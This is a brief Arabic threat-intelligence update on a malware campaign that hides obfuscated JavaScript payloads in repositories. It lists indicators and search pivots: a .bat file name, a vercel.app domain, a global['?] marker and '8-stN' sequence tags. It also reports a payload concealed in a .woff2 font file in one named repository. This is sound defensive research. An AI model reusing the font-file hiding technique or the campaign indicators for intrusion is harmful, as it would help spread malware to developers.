تم تحديد نقاط تنقل بحث عالية العائد جديدة تجد الضحايا حتى عند تنظيف حمولة JS. الأقوى هي filename:temp_auto_push.bat (101 نتيجة مؤكدة خبيثة، معدل إيجابية حقيقية 100%) و "default-configuration.vercel.app" (106 ضربة). كان معدل الإيجابية الكاذبة عبر 44 تحققًا عشوائيًا 0%. انظر منهجية التحسين أدناه.
تم تأكيد ناقل حقن جديد: ضحية واحدة على الأقل (AgbaD/odoo) لديها حمولة JS المشوشة مخبأة في ملف خط .woff2 (public/fonts/fa-solid-400.woff2) يتم تنفيذه عبر Node — مما يؤكد أن الحملة تستخدم نواقل حقن متعددة ضد نفس الهدف.
لم يتم العثور على متغير تشويش ثالث. لم ينتج الفحص الشامل لعلامات global['?]، وتركيبات البذور، والأنماط الهيكلية، وحرفيات IOC، والوسوم المتسلسلة '8-stN' 1–200 (عبر Sourcegraph regex) أي دليل على متغير ثالث يتجاوز الاثنين الموثقين بالفعل. دفعة المتغير الجديد للجهة محدودة بـ 8-st1..8-st59 (مع فقدان 21 رقمًا متسلسلاً من فهرس Sourcegraph).